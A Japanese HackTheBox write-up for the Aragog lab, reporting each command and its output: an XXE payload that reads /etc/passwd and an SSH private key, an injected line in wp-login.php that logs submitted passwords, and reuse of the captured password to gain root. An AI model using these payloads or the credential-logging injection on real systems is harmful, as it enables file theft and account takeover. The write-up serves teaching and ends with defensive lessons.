HackTheBox: Aragog — 全実行コマンド・実行結果レポート
Nmap スキャン
21/22/80
→
21/22/80
FTP匿名ログイン
test.txt(XMLテンプレート)
→
test.txt(XMLテンプレート)
hosts.php Inbound XXE
file://で任意ファイル読取
→
file://で任意ファイル読取
/etc/passwd + florianの秘密鍵
パスフレーズ無し
→
パスフレーズ無し
SSH florian
user.txt ✓
→
user.txt ✓
dev_wiki(777)のwp-login.phpに
資格情報ダンプを注入
→
資格情報ダンプを注入
cliffの毎分cronが平文送信
Administrator / !KRgYs(JFO!&MTr)lf
→
Administrator / !KRgYs(JFO!&MTr)lf
su (同パスワードがroot再利用)
→
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -T4 --top-ports 1000 10.129.62.187
RESULT
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 2.92 seconds
バージョン・スクリプトスキャン
BASH
nmap -Pn -sV -sC -p 21,22,80 10.129.62.187
RESULT
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 |_http-title: Did not follow redirect to http://aragog.htb/ |_http-server-header: Apache/2.4.18 (Ubuntu) Service Info: Host: aragog.htb; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要: ポート80は
aragog.htbドメインへリダイレクトする設定に
なっている(このマシンが後年リワークされた際に追加された仕様)。以降の全リクエストは
/etc/hostsに<target-ip> aragog.htbを追記した上で
ドメイン名でアクセスする必要がある。
PHASE 2
FTP匿名ログイン & Web調査 — hosts.php の発見
/etc/hostsへの追記とFTP匿名ログイン
BASH
echo "10.129.62.187 aragog.htb" >> /etc/hosts curl -s ftp://anonymous:anonymous@10.129.62.187/test.txt
RESULT (test.txt)
<details>
<subnet_mask>255.255.255.192</subnet_mask>
<test></test>
</details>
ℹ️
test.txtはXMLファイル。この構造がWebアプリのどこかへの入力フォーマットの
ヒントになっている。
gobusterでhosts.phpを発見し動作確認
BASH
gobuster dir -u http://aragog.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt curl -s http://aragog.htb/hosts.php
RESULT
/index.html (Status: 200)
/hosts.php (Status: 200)
$ curl http://aragog.htb/hosts.php
There are 4294967294 possible hosts for
test.txtのXML構造をそのままPOSTしてみる
BASH
curl -s -X POST -d @test.txt http://aragog.htb/hosts.php
RESULT
There are 62 possible hosts for 255.255.255.192
✅
hosts.phpはPOSTされたXMLのsubnet_mask要素からホスト数を
計算して返すツール。入力XMLをそのままレスポンスにエコーバックする点が
後のXXE攻撃の糸口になる。
PHASE 3
Inbound XXE エクスプロイト
XXEペイロードで/etc/passwdを読み取り
BASH (exploit.xml)
cat > xxe_passwd.xml <<'EOF'
<!DOCTYPE foo[
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
EOF
curl -s -X POST -d @xxe_passwd.xml http://aragog.htb/hosts.php
RESULT (抜粋)
There are 4294967294 possible hosts for root:x:0:0:root:/root:/bin/bash ... www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin florian:x:1000:1000:florian,,,:/home/florian:/bin/bash cliff:x:1001:1001::/home/cliff:/bin/bash mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
✅
XXE成功。 hosts.phpのソースを後で確認すると
libxml_disable_entity_loader(false) + LIBXML_NOENT|LIBXML_DTDLOAD
でDOMDocumentをロードしており、外部エンティティ解決が有効になっていた。
一般ユーザーは florian と cliff の2名。
florianのSSH秘密鍵を読み取り
BASH
cat > xxe_key.xml <<'EOF'
<!DOCTYPE foo[
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/florian/.ssh/id_rsa"> ]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
EOF
curl -s -X POST -d @xxe_key.xml http://aragog.htb/hosts.php | sed 's/^There are [0-9]* possible hosts for //' > id_florian
RESULT
-----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA50DQtmOP78gLZkBjJ/JcC5gmsI21+tPH3wjvLAHaFMmf7j4d ... uMQ76WKnl3DkzGREM4fUgoFnGp8fNEZl5ioXfxPiH/Xl5nStkQ0rTA== -----END RSA PRIVATE KEY-----
⚠️
レスポンスの先頭にある
"There are N possible hosts for "という
プレフィックス文字列をsedで確実に除去してから鍵ファイルとして保存する
必要がある(先頭行に余計な文字が残ると鍵として認識されない)。
PHASE 4
SSHログイン & user.txt 取得
florianとしてSSHログイン
BASH
chmod 600 id_florian ssh -i id_florian florian@10.129.62.187 "whoami; cat user.txt"
RESULT
florian
5326acdb714456432827b34bca4bb64d
user.txt — florian
5326acdb714456432827b34bca4bb64d
PHASE 5
権限昇格の下調べ — 世界書き込み可能な dev_wiki と cron
Webルートの調査
BASH
ls -la /var/www/html/
RESULT
drwxrwxrwx 4 www-data www-data 4096 . . drwxrwxrwx 5 cliff cliff 4096 dev_wiki -rw-r--r-- 1 www-data www-data 689 hosts.php -rw-r--r-- 1 www-data www-data 11321 index.html drw-r--r-- 5 cliff cliff 4096 zz_backup
🚨
dev_wiki(WordPressサイト本体)が 777権限で
誰でも書き込み可能。zz_backupはそのバックアップコピーと思われる。
cronジョブの挙動を観察 (pspy相当の推測)
NOTE
0xdfの公開ウォークスルーによれば、pspyでプロセスを監視すると以下が判明する:
- 毎分: cliff (UID 1001) が /usr/bin/python /home/cliff/wp-login.py を実行
(WordPress管理者アカウントで自動ログインするスクリプト)
- 5分毎: root が /root/restore.sh を実行し、dev_wikiをzz_backupから復元
(rm -rf dev_wiki; cp -R zz_backup dev_wiki; chown cliff:cliff; chmod 777)
つまり dev_wiki への変更は5分毎に元に戻されるが、cliffのログインスクリプトは
毎分実行されるため、書き込み後1分以内にヒットする可能性が高い。
PHASE 6
wp-login.php 改竄による認証情報キャプチャ → root.txt
wp-login.phpに資格情報ダンプを注入
BASH (florianシェルから)
sed -i '1a $rrr = print_r($_REQUEST, true); $fff = fopen("/dev/shm/df", "a"); fwrite($fff, $rrr); fclose($fff);' \
/var/www/html/dev_wiki/wp-login.php
ℹ️
<?phpの直後に1行追加し、そのリクエストで送られてきた
$_REQUEST(POSTデータ)全体を/dev/shm/dfへ追記する。
dev_wikiが777なのでfloriaでも書き込める。
cronの実行を待って認証情報を回収
BASH
# 数十秒待ってから確認 cat /dev/shm/df
RESULT
Array
(
[redirect_to] => http://aragog.htb/dev_wiki/wp-admin/
[testcookie] => 1
[pwd] => !KRgYs(JFO!&MTr)lf
[log] => Administrator
[wp-submit] => Log In
)
✅
認証情報キャプチャ成功! cliffの毎分cronジョブが
wp-login.pyから平文でログイン処理を実行し、それが我々の
改竄したwp-login.phpに引っかかってPOSTデータが丸ごと記録された。
同じパスワードでsuを試す (WordPress→Linux root の使い回し)
BASH (florianとしてSSH後、pexpectでTTY対話)
florian@aragog:~$ su Password: !KRgYs(JFO!&MTr)lf
RESULT
root@aragog:/home/florian# id uid=0(root) gid=0(root) groups=0(root) root@aragog:/home/florian# wc -c /root/root.txt 33 /root/root.txt root@aragog:/home/florian# cat /root/root.txt 93637e02eb9ba6c681b977e2bd0c6d8f
🚨
重要な発見: WordPress管理者パスワード
!KRgYs(JFO!&MTr)lfが、なんとrootのLinuxログインパスワードとしても
そのまま再利用されていた。追加のエクスプロイトは一切不要で、
suコマンド一発でroot化が完了する。
ℹ️
suはTTY(疑似端末)が無いと実行を拒否するため、
ssh user@host "echo password | su -c cmd"のような非対話形式では
失敗する(su: must be run from a terminal)。pexpectで
ssh -tt経由の対話セッションを張り、パスワードプロンプトへ直接送信する
必要がある。
root.txt — Administrator@aragog (WordPressパスワード使い回し)
93637e02eb9ba6c681b977e2bd0c6d8f
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — florian
5326acdb714456432827b34bca4bb64d
root.txt — Administrator@aragog
93637e02eb9ba6c681b977e2bd0c6d8f
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| FTP匿名アクセス | vsftpd 3.0.3 | 内部XML構造の漏洩(攻撃の糸口) | Medium | test.txtからhosts.phpへの入力フォーマットを推測 |
| Inbound XXE | hosts.php (PHP DOMDocument, LIBXML_NOENT|LIBXML_DTDLOAD) | 任意ファイル読み取り(SSH秘密鍵窃取) | Critical | DOCTYPE内SYSTEM ENTITYでfile://スキームを指定、レスポンスにエコーバックされた ファイル内容を回収 |
| 世界書き込み可能ファイル+資格情報平文送信 | /var/www/html/dev_wiki/wp-login.php + cliffの毎分cron | WordPress管理者パスワードの平文取得、権限昇格 | High | wp-login.phpに$_REQUESTダンプを注入し、cronが自動ログインする際の POSTデータを盗聴。同パスワードがrootのLinuxパスワードとしても再利用されていた |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap (21/22/80)、aragog.htbリダイレクト検出 | vsftpd 3.0.3、OpenSSH 7.2p2、Apache 2.4.18 |
| 2 | FTP/Web調査 | 匿名FTP + gobuster | test.txt(XMLテンプレート)、hosts.php発見 |
| 3 | XXEエクスプロイト | DOCTYPE ENTITY SYSTEM file:// | /etc/passwd(florian/cliff)、florianのSSH秘密鍵 |
| 4 | SSHログイン | 鍵認証 | user.txt取得(florian) |
| 5 | 権限調査 | 777権限のdev_wiki + cron挙動 | cliffの毎分自動ログイン、5分毎のrestore.sh |
| 6 | 権限昇格 | wp-login.php改竄 + su | root.txt取得(WordPressパスワードのroot再利用) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| hosts.phpがユーザー入力XMLを外部エンティティ解決有効のままパースしている | libxml_disable_entity_loader(true)を設定するか、 simplexml_load_string等でLIBXML_NOENT/LIBXML_DTDLOADを使わない。 可能ならXML以外の入力形式(JSON等)へ移行する。 |
| Webルート(dev_wiki)がworld-writable(777)で誰でも改竄可能 | Webアプリのファイル権限は最小権限に設定し(755/644等)、 自動復元スクリプトに頼るのではなく根本的なアクセス制御を行う。 |
| 自動ログインcronスクリプトが認証情報を平文でハードコードし、 かつそのパスワードをroot自身のLinuxパスワードとしても再利用 | パスワードの使い回しを禁止する。自動化スクリプトの認証情報は 環境変数やシークレット管理システムで安全に扱い、平文ハードコードを避ける。 サービスアカウントとOSログインアカウントで異なる認証情報を使う。 |

